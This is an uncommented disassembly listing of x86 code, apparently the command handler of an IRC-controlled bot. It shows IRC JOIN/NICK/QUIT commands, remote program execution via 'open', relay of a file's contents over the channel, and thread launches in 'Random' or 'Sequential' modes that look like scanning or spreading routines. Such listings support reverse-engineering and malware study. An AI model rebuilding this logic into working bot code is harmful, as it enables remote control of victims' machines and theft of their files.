push [ebp+arg_18]
push offset dword_43446C
push [ebp+arg_4]
call sub_412D06
push edi
call sub_415A5F
imul eax, 3E8h
add esp, 10h
push eax
call dword_421060
push [ebp+esi+var_88]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
push offset dword_434444
call sub_40B16D
jmp short loc_41105E
; ---------------------------------------------------------------------------
loc_4110C9: ; CODE XREF: sub_40CE55+2216j
; sub_40CE55+222Dj
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
call sub_415CF0
push [ebp+arg_8]
mov esi, eax
call sub_415CF0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_415AC0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_41298E
push esi
lea eax, [ebp+var_2C8]
push offset dword_434CDC
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_412D4C
push esi
push edi
push offset dword_434414
call sub_40B1E1
add esp, 2Ch
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_411137: ; CODE XREF: sub_40CE55+21E8j
; sub_40CE55+21FFj
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
call sub_415CF0
push [ebp+arg_8]
mov esi, eax
call sub_415CF0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_415AC0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_41298E
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_412D4C
push esi
push edi
push offset dword_4343E4
call sub_40B1E1
jmp loc_40FD65
; ---------------------------------------------------------------------------
loc_41118A: ; CODE XREF: sub_40CE55+21BAj
; sub_40CE55+21D1j
cmp [ebp+var_C], ebx
jz loc_40D219
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D219
push eax
push edi
call sub_40B075
push edi
lea eax, [ebp+var_2C8]
push offset dword_4343B4
push eax
call sub_4154E7
loc_4111C1: ; CODE XREF: sub_40CE55+3B44j
add esp, 14h
jmp loc_40F7B1
; ---------------------------------------------------------------------------
loc_4111C9: ; CODE XREF: sub_40CE55+217Aj
; sub_40CE55+2191j
push edi
push [ebp+arg_1C]
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz loc_41298E
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_411266
push esi
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_41124E
push esi
lea eax, [ebp+var_2C8]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_43460C
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416D40
push esi
push edi
lea eax, [ebp+var_2C8]
push offset dword_43437C
push eax
call sub_4154E7
add esp, 34h
inc [ebp+arg_24]
jmp loc_4124D6
; ---------------------------------------------------------------------------
loc_41124E: ; CODE XREF: sub_40CE55+43A1j
lea eax, [ebp+var_2C8]
push offset dword_434338
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_4124D6
; ---------------------------------------------------------------------------
loc_411266: ; CODE XREF: sub_40CE55+4390j
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40AD85
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push edi
push offset dword_43430C
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
add esp, 24h
jmp loc_4124D6
; ---------------------------------------------------------------------------
loc_4112AD: ; CODE XREF: sub_40CE55+1B7Fj
; sub_40CE55+1B96j
push offset aR ; "r"
push edi
call sub_415BE8
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_411327
mov ebx, 200h
push esi
lea eax, [ebp+var_2C8]
push ebx
push eax
call sub_41713C
add esp, 0Ch
loc_4112D6: ; CODE XREF: sub_40CE55+44B0j
test eax, eax
jz short loc_411307
push 1
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push esi
lea eax, [ebp+var_2C8]
push ebx
push eax
call sub_41713C
add esp, 20h
jmp short loc_4112D6
; ---------------------------------------------------------------------------
loc_411307: ; CODE XREF: sub_40CE55+4483j
push esi
call sub_415B40
push edi
lea eax, [ebp+var_2C8]
push offset dword_4342D4
push eax
call sub_4154E7
add esp, 10h
jmp loc_40EFA7
; ---------------------------------------------------------------------------
loc_411327: ; CODE XREF: sub_40CE55+4469j
push edi
push offset dword_4342A0
jmp loc_412869
; ---------------------------------------------------------------------------
loc_411332: ; CODE XREF: sub_40CE55+1B51j
; sub_40CE55+1B68j
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41298E
push offset asc_426CB4 ; "\n"
push esi
call sub_415C10
push esi
call sub_40A5E9
add esp, 0Ch
test eax, eax
jnz short loc_411372
push offset dword_434260
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_411372: ; CODE XREF: sub_40CE55+4511j
push esi
push offset dword_434234
jmp loc_4124C7
; ---------------------------------------------------------------------------
loc_41137D: ; CODE XREF: sub_40CE55+1B23j
; sub_40CE55+1B3Aj
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz loc_41298E
push eax
call sub_409CCD
test eax, eax
pop ecx
jnz short loc_4113AE
push offset unk_434204
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_4113AE: ; CODE XREF: sub_40CE55+454Dj
push offset dword_4341D4
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_4113B8: ; CODE XREF: sub_40CE55+1AF5j
; sub_40CE55+1B0Cj
push 7Fh
lea eax, [ebp+var_6F4]
push edi
push eax
call sub_416D40
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_4113E7
push 7Fh
lea eax, [ebp+var_674]
push esi
push eax
call sub_416D40
add esp, 0Ch
loc_4113E7: ; CODE XREF: sub_40CE55+457Ej
push 7Fh
lea eax, [ebp+var_5F4]
push [ebp+var_8C]
push eax
call sub_416D40
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_6F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_570], eax
mov eax, [ebp+var_4]
mov [ebp+var_56C], eax
lea eax, [ebp+var_2C8]
push offset dword_4341A8
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 14h
push eax
call sub_414F93
add esp, 24h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6F8]
push ebx
push eax
push offset sub_40AE4B
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_411485
loc_41146F: ; CODE XREF: sub_40CE55+462Ej
cmp [ebp+var_568], ebx
jnz loc_4124D6
push 32h
call dword_421060
jmp short loc_41146F
; ---------------------------------------------------------------------------
loc_411485: ; CODE XREF: sub_40CE55+4618j
call dword_421088
push eax
push offset unk_434158
jmp loc_4124C7
; ---------------------------------------------------------------------------
loc_411496: ; CODE XREF: sub_40CE55+1AC7j
; sub_40CE55+1ADEj
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push edi
call sub_4063B0
push edi
push offset dword_434130
jmp loc_410F2D
; ---------------------------------------------------------------------------
loc_4114B1: ; CODE XREF: sub_40CE55+1A99j
; sub_40CE55+1AB0j
push 14h
lea eax, [ebp+var_710]
push ebx
push eax
call sub_415570
push edi
lea eax, [ebp+var_6FC]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
mov eax, [ebp+arg_4]
mov [ebp+var_718], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_5F8]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_5F8]
push eax
lea eax, [ebp+var_6FC]
push eax
lea eax, [ebp+var_2C8]
push offset dword_4340F8
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 12h
push eax
call sub_414F93
add esp, 40h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_718]
push ebx
push eax
push offset sub_40B712
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_411581
loc_41156B: ; CODE XREF: sub_40CE55+472Aj
cmp [ebp+var_568], ebx
jnz loc_41284E
push 32h
call dword_421060
jmp short loc_41156B
; ---------------------------------------------------------------------------
loc_411581: ; CODE XREF: sub_40CE55+4714j
call dword_421088
push eax
push offset dword_436390
jmp loc_41283F
; ---------------------------------------------------------------------------
loc_411592: ; CODE XREF: sub_40CE55+1A6Bj
; sub_40CE55+1A82j
push edi
call dword_421118
test eax, eax
jz short loc_4115A5
push edi
push offset dword_4340C8
jmp short loc_4115B0
; ---------------------------------------------------------------------------
loc_4115A5: ; CODE XREF: sub_40CE55+4746j
push offset dword_434808
call sub_409C08
push eax
loc_4115B0: ; CODE XREF: sub_40CE55+474Ej
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
add esp, 10h
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_4115C9: ; CODE XREF: sub_40CE55+1A3Dj
; sub_40CE55+1A54j
push edi
call sub_415A5F
push eax
call sub_414061
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4115E6
push offset dword_434090
jmp short loc_4115EB
; ---------------------------------------------------------------------------
loc_4115E6: ; CODE XREF: sub_40CE55+4788j
push offset dword_434048
loc_4115EB: ; CODE XREF: sub_40CE55+478Fj
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_40EFAA
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
jmp loc_40EFAA
; ---------------------------------------------------------------------------
loc_411624: ; CODE XREF: sub_40CE55+1A0Fj
; sub_40CE55+1A26j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_413DD2
add esp, 18h
cmp eax, 1
push edi
jnz short loc_411646
push offset dword_434010
jmp loc_412869
; ---------------------------------------------------------------------------
loc_411646: ; CODE XREF: sub_40CE55+47E5j
push offset dword_433FCC
jmp loc_412869
; ---------------------------------------------------------------------------
loc_411650: ; CODE XREF: sub_40CE55+19E1j
; sub_40CE55+19F8j
push edi
call dword_43A3F8
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_41168D
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_43A370
cmp eax, ebx
jz short loc_4116A8
push dword ptr [eax]
loc_411673: ; CODE XREF: sub_40CE55+4851j
push edi
lea eax, [ebp+var_2C8]
push offset dword_433F9C
push eax
call sub_4154E7
add esp, 10h
jmp loc_40F713
; ---------------------------------------------------------------------------
loc_41168D: ; CODE XREF: sub_40CE55+4808j
push edi
call dword_43A43C
cmp eax, ebx
jz short loc_4116A8
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_43A444
push eax
jmp short loc_411673
; ---------------------------------------------------------------------------
loc_4116A8: ; CODE XREF: sub_40CE55+481Aj
; sub_40CE55+4841j
push offset dword_433F60
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_4116B2: ; CODE XREF: sub_40CE55+19B3j
; sub_40CE55+19CAj
push 7Fh
push edi
push [ebp+arg_14]
call sub_416D40
push edi
lea eax, [ebp+var_2C8]
push offset dword_433F28
push eax
call sub_4154E7
add esp, 18h
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_4116D7: ; CODE XREF: sub_40CE55+1985j
; sub_40CE55+199Cj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_43A32C
test eax, eax
push edi
jz short loc_4116F7
push offset unk_433EF8
jmp loc_412869
; ---------------------------------------------------------------------------
loc_4116F7: ; CODE XREF: sub_40CE55+4896j
push offset unk_433EC0
jmp loc_412869
; ---------------------------------------------------------------------------
loc_411701: ; CODE XREF: sub_40CE55+1957j
; sub_40CE55+196Ej
mov al, [edi]
mov byte_42C19C, al
movsx eax, byte ptr [edi]
push eax
push offset dword_433E88
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_411716: ; CODE XREF: sub_40CE55+1929j
; sub_40CE55+1940j
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
push ebx
push ebx
lea eax, [ebp+var_A4]
push 2
push eax
call sub_414433
push eax
lea eax, [ebp+var_2C8]
push offset dword_43454C
push eax
call sub_4154E7
add esp, 1Ch
jmp loc_410E77
; ---------------------------------------------------------------------------
loc_411761: ; CODE XREF: sub_40CE55+18FBj
; sub_40CE55+1912j
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_40D219
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_40D219
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F554[eax]
call sub_412D06
pop ecx
pop ecx
push 1F4h
call dword_421060
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F554[eax]
call dword_43A450
push [ebp+var_10]
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F55C[eax]
call dword_421130
push edi
call sub_415A5F
imul eax, 234h
push edi
mov dword_43F55C[eax], ebx
call sub_415A5F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43F348[eax], bl
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_41180C: ; CODE XREF: sub_40CE55+18CDj
; sub_40CE55+18E4j
push edi
push offset aAll ; "all"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_41183B
call sub_41515C
cmp eax, ebx
jle short loc_411831
push eax
push offset dword_433E38
jmp loc_40F7A2
; ---------------------------------------------------------------------------
loc_411831: ; CODE XREF: sub_40CE55+49CFj
push offset dword_433DFC
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_41183B: ; CODE XREF: sub_40CE55+49C6j
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40D219
lea eax, [ebp+edi*4+var_94]
mov [ebp+arg_24], eax
loc_411857: ; CODE XREF: sub_40CE55+4A73j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_40D219
push esi
call sub_415A5F
push eax
call sub_4150CE
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_41187E
push offset dword_433DC4
jmp short loc_411883
; ---------------------------------------------------------------------------
loc_41187E: ; CODE XREF: sub_40CE55+4A20j
push offset dword_433D84
loc_411883: ; CODE XREF: sub_40CE55+4A27j
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4118B3
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_4118B3: ; CODE XREF: sub_40CE55+4A40j
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_411857
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_4118CF: ; CODE XREF: sub_40CE55+189Fj
; sub_40CE55+18B6j
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41298E
push esi
push offset dword_425050
push [ebp+arg_4]
call sub_412D06
push esi
push offset dword_433D58
jmp loc_411059
; ---------------------------------------------------------------------------
loc_411906: ; CODE XREF: sub_40CE55+1871j
; sub_40CE55+1888j
push edi
push offset dword_43446C
push [ebp+arg_4]
call sub_412D06
push edi
push offset dword_433D24
jmp loc_411059
; ---------------------------------------------------------------------------
loc_41191F: ; CODE XREF: sub_40CE55+1843j
; sub_40CE55+185Aj
push [ebp+esi+var_8C]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
push edi
push offset dword_433CF0
jmp loc_410F2D
; ---------------------------------------------------------------------------
loc_41193F: ; CODE XREF: sub_40CE55+1815j
; sub_40CE55+182Cj
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412D06
push edi
push offset dword_433CB8
jmp loc_411059
; ---------------------------------------------------------------------------
loc_411958: ; CODE XREF: sub_40CE55+17DAj
; sub_40CE55+17EFj
mov al, byte_4276A2
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4276A2
jz loc_40D219
mov ecx, edx
loc_41196F: ; CODE XREF: sub_40CE55+4B22j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_41196F
cmp al, bl
jz loc_40D219
mov [ebp+arg_18], edx
loc_411984: ; CODE XREF: sub_40CE55+4DE9j
push 8
call sub_4151DB
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 12Ch
jle short loc_4119D3
push ecx
lea eax, [ebp+var_2C8]
push offset dword_434E0C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 20h
jmp loc_411C35
; ---------------------------------------------------------------------------
loc_4119D3: ; CODE XREF: sub_40CE55+4B49j
or [ebp+var_300], 0FFFFFFFFh
cmp dword_427338, ebx
mov [ebp+var_304], 64h
mov [ebp+var_318], 5
mov [ebp+var_314], ebx
mov [ebp+arg_0], ebx
jz short loc_411A40
mov eax, [ebp+arg_18]
mov edi, offset dword_427338
lea esi, [eax-0Ah]
loc_411A0A: ; CODE XREF: sub_40CE55+4BCDj
lea eax, [edi-28h]
push esi
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_411A26
inc [ebp+arg_0]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_411A0A
jmp short loc_411A40
; ---------------------------------------------------------------------------
loc_411A26: ; CODE XREF: sub_40CE55+4BC3j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_427338[ecx]
mov [ebp+var_31C], ecx
loc_411A40: ; CODE XREF: sub_40CE55+4BA8j
; sub_40CE55+4BCFj
cmp [ebp+var_31C], ebx
jz loc_411C49
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_2D8]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_43A35C
mov al, [ebp+var_9B3]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2D4], eax
push [ebp+var_2D4]
call dword_43A444
push eax
lea eax, [ebp+var_430]
push eax
call sub_416D40
xor eax, eax
cmp [ebp+var_9B3], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_430]
push eax
call sub_417040
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_411AE2
loc_411AC0: ; CODE XREF: sub_40CE55+4C8Bj
cmp eax, ebx
jz short loc_411AE2
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h
push eax
call sub_417040
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_411AC0
loc_411AE2: ; CODE XREF: sub_40CE55+4C69j
; sub_40CE55+4C6Dj
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov esi, [ebp+var_4]
mov [ebp+var_320], eax
mov eax, [ebp+var_8]
mov edi, 80h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_420]
push edi
push eax
mov [ebp+var_2F0], 1
mov [ebp+var_2F8], esi
call sub_415A6A
push offset byte_438FDC
push offset dword_42C248
call sub_415910
add esp, 14h
test eax, eax
jz short loc_411B4C
push offset dword_42C248
lea eax, [ebp+var_3A0]
push edi
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_411B52
; ---------------------------------------------------------------------------
loc_411B4C: ; CODE XREF: sub_40CE55+4CDEj
mov [ebp+var_3A0], bl
loc_411B52: ; CODE XREF: sub_40CE55+4CF5j
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_411B64
mov eax, offset aSequential ; "Sequential"
loc_411B64: ; CODE XREF: sub_40CE55+4D08j
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+var_2C8]
push offset dword_433C3C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 8
push eax
call sub_414F93
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_40799F
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_411BEE
loc_411BDC: ; CODE XREF: sub_40CE55+4D97j
cmp [ebp+var_2EC], ebx
jnz short loc_411C09
push 32h
call dword_421060
jmp short loc_411BDC
; ---------------------------------------------------------------------------
loc_411BEE: ; CODE XREF: sub_40CE55+4D85j
call dword_421088
push eax
lea eax, [ebp+var_2C8]
push offset dword_434CE8
push eax
call sub_4154E7
add esp, 0Ch
loc_411C09: ; CODE XREF: sub_40CE55+4D8Dj
cmp [ebp+var_8], ebx
jnz short loc_411C28
push ebx
lea eax, [ebp+var_2C8]
push esi
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_411C28: ; CODE XREF: sub_40CE55+4DB7j
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
pop ecx
loc_411C35: ; CODE XREF: sub_40CE55+4B79j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_411984
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_411C49: ; CODE XREF: sub_40CE55+2FDCj
; sub_40CE55+4BF1j
push offset dword_433BF0
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_411C53: ; CODE XREF: sub_40CE55+17B0j
; sub_40CE55+17C5j
push 4
call sub_4151DB
test eax, eax
pop ecx
jle short loc_411C69
push offset unk_433BBC
jmp loc_40EBA7
; ---------------------------------------------------------------------------
loc_411C69: ; CODE XREF: sub_40CE55+4E08j
mov eax, [ebp+esi+var_90]
cmp eax, ebx
jz short loc_411C8C
push eax
mov edi, 104h
lea eax, [ebp+var_804]
push edi
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_411CA0
; ---------------------------------------------------------------------------
loc_411C8C: ; CODE XREF: sub_40CE55+4E1Dj
mov edi, 104h
lea eax, [ebp+var_804]
push edi
push eax
push ebx
call dword_42107C
loc_411CA0: ; CODE XREF: sub_40CE55+4E35j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_411CB0
mov esi, offset byte_42C1FC
loc_411CB0: ; CODE XREF: sub_40CE55+4E54j
push esi
lea eax, [ebp+var_700]
push edi
push eax
call sub_415A6A
mov eax, dword_42C188
push 7Fh
push [ebp+var_8C]
mov [ebp+var_5F4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_5F8], ebx
mov [ebp+var_808], eax
lea eax, [ebp+var_5F0]
push eax
call sub_416D40
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_700]
push eax
lea eax, [ebp+var_804]
push eax
lea eax, [ebp+var_2C8]
push [ebp+var_5F4]
push offset unk_4278F4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 4
push eax
call sub_414F93
add esp, 38h
mov [ebp+var_5FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_808]
push ebx
push eax
push offset sub_406C3E
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_5FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_411D80
loc_411D6A: ; CODE XREF: sub_40CE55+4F29j
cmp [ebp+var_568], ebx
jnz loc_40ECC3
push 32h
call dword_421060
jmp short loc_411D6A
; ---------------------------------------------------------------------------
loc_411D80: ; CODE XREF: sub_40CE55+4F13j
call dword_421088
push eax
push offset unk_433B70
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_411D91: ; CODE XREF: sub_40CE55+1786j
; sub_40CE55+179Bj
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_411DB0
push edi
call sub_415A5F
test eax, eax
pop ecx
jz short loc_411DB0
push edi
call sub_415A5F
pop ecx
jmp short loc_411DB5
; ---------------------------------------------------------------------------
loc_411DB0: ; CODE XREF: sub_40CE55+4F45j
; sub_40CE55+4F50j
mov eax, dword_42C18C
loc_411DB5: ; CODE XREF: sub_40CE55+4F59j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_584], eax
xor eax, eax
cmp [ebp+var_9B0], bl
setz al
cmp esi, ebx
mov [ebp+var_570], eax
jz short loc_411DE8
lea eax, [ebp+var_688]
push esi
push eax
call sub_4154E7
pop ecx
pop ecx
jmp short loc_411E13
; ---------------------------------------------------------------------------
loc_411DE8: ; CODE XREF: sub_40CE55+4F80j
lea eax, [ebp+var_3E8]
push 104h
push eax
call dword_421058
push ebx
push ebx
lea eax, [ebp+var_2D4]
push ebx
push eax
lea eax, [ebp+var_3E8]
push eax
call sub_417348
add esp, 14h
loc_411E13: ; CODE XREF: sub_40CE55+4F91j
lea eax, [ebp+var_688]
push eax
call sub_415CF0
cmp [ebp+eax+var_689], 5Ch
pop ecx
jnz short loc_411E3E
lea eax, [ebp+var_688]
push eax
call sub_415CF0
pop ecx
mov [ebp+eax+var_689], bl
loc_411E3E: ; CODE XREF: sub_40CE55+4FD3j
push [ebp+var_8C]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_910]
mov [ebp+var_914], esi
push 80h
push eax
call sub_415A6A
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_574], eax
lea eax, [ebp+var_688]
mov [ebp+var_578], edi
push eax
push [ebp+var_584]
push esi
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_4277C4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 3
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_57C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_914]
push ebx
push eax
push offset sub_405B23
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_57C]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_411EF2
loc_411EE0: ; CODE XREF: sub_40CE55+509Bj
cmp [ebp+var_568], ebx
jnz short loc_411F0D
push 32h
call dword_421060
jmp short loc_411EE0
; ---------------------------------------------------------------------------
loc_411EF2: ; CODE XREF: sub_40CE55+5089j
call dword_421088
push eax
push offset unk_433B24
loc_411EFE: ; CODE XREF: sub_40CE55+34F6j
; sub_40CE55+35F0j
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_411F0D: ; CODE XREF: sub_40CE55+34DAj
; sub_40CE55+35D4j ...
cmp [ebp+var_8], ebx
jnz loc_41284E
push ebx
push edi
loc_411F18: ; CODE XREF: sub_40CE55+2DA0j
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_8C]
push esi
jmp loc_40F7CE
; ---------------------------------------------------------------------------
loc_411F2B: ; CODE XREF: sub_40CE55+175Cj
; sub_40CE55+1771j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_411F3E
push esi
call sub_415A5F
jmp short loc_411F45
; ---------------------------------------------------------------------------
loc_411F3E: ; CODE XREF: sub_40CE55+50DFj
push 8
call sub_4151FA
loc_411F45: ; CODE XREF: sub_40CE55+50E7j
cmp eax, ebx
pop ecx
jz loc_41298E
push eax
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4071FF
loc_411F60: ; CODE XREF: sub_40CE55+5597j
add esp, 10h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_411F68: ; CODE XREF: sub_40CE55+1732j
; sub_40CE55+1747j
mov eax, dword_43A2E0
cmp eax, ebx
jz short loc_411F85
call eax
test eax, eax
jz short loc_411F7E
push offset unk_433AEC
jmp short loc_411F9A
; ---------------------------------------------------------------------------
loc_411F7E: ; CODE XREF: sub_40CE55+5120j
push offset unk_433AAC
jmp short loc_411F9A
; ---------------------------------------------------------------------------
loc_411F85: ; CODE XREF: sub_40CE55+511Aj
push offset unk_433A6C
jmp short loc_411F9A
; ---------------------------------------------------------------------------
loc_411F8C: ; CODE XREF: sub_40CE55+1708j
; sub_40CE55+171Dj
call sub_40A093
test eax, eax
jz short loc_411FB0
push offset unk_433A34
loc_411F9A: ; CODE XREF: sub_40CE55+5127j
; sub_40CE55+512Ej ...
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
jmp loc_412875
